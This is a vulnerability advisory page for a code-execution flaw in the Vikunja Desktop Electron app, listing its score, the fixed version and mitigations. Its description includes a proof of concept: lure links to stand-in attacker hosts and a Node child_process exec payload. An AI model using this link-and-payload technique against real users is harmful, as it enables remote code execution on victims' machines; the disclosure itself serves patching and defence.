Skip to main content
VulnerabilityPublished

CVE-2026-33336: vikunja · Code Injection

Affects vikunjaSource CVE Database V5

0
Compare

Not known to be exploited · CVSS 6.5 Medium : upgrade to 2.2.0 when convenient.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 4.0 base score
6.5Medium
How severe the flaw is on the 0–10 CVSS scale.
EPSS
1.1% chance of exploitation in 30 days – higher than 67% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 2.2.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 24 Mar 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

What to do

Upgrade vikunja and github.com/go-vikunja/vikunja to 2.2.0.

Affected software

ProductAffectedFixed in
go-vikunjavikunjaAffected
  • >=0.21.0 <2.2.0
Fixed in
  • 2.2.0
Gogithub.com/go-vikunja/vikunjapkg:golang/github.com/go-vikunja/vikunjaOther threatsAffected
  • <2.2.0 >=0.21.0
Fixed in
  • 2.2.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

  1. Upgrade Vikunja Desktop to version 2.2.0 or later, where nodeIntegration is disabled or navigation restrictions are implemented.
  2. If upgrading is not immediately possible, disable nodeIntegration manually in the Electron BrowserWindow configuration to prevent Node.js API access from renderer processes.
  3. Implement 'will-navigate' and 'will-redirect' event handlers in the Electron app to intercept and block or validate all navigation attempts, especially same-window navigations triggered by user clicks or redirects.
  4. Restrict or sanitize user-generated content to disallow or neutralize clickable links that could lead to external origins.
  5. Educate users to avoid clicking suspicious links within the application, especially from untrusted collaborators.
  6. Employ endpoint protection solutions capable of detecting anomalous process executions initiated by Electron apps.
  7. Monitor network traffic for unexpected connections to external domains originating from Vikunja Desktop.
  8. Consider sandboxing or running Vikunja Desktop in restricted environments to limit damage from potential exploitation.

Description

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue. ## Root cause Two misconfigurations combine to create this vulnerability: 1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.). 2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by: - `<a href="https://...">` links (without `target="_blank"`) - `window.location` assignments - HTTP redirects - `<meta http-equiv="refresh">` tags ## Attack scenario 1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>` 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.4. The victim uses Vikunja Desktop and clicks the link.5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');` 7. Arbitrary commands execute as the victim's OS user. ## Impact Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient. ## Proof of concept 1. Set up a Vikunja instance with two users sharing a project.2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>` 3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>` 4. As the victim, open the project in Vikunja Desktop and click the link.5.calc.exe (or any other command) executes on the victim's machine. ## Credits This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).

References

Community reviews

Loading reviews…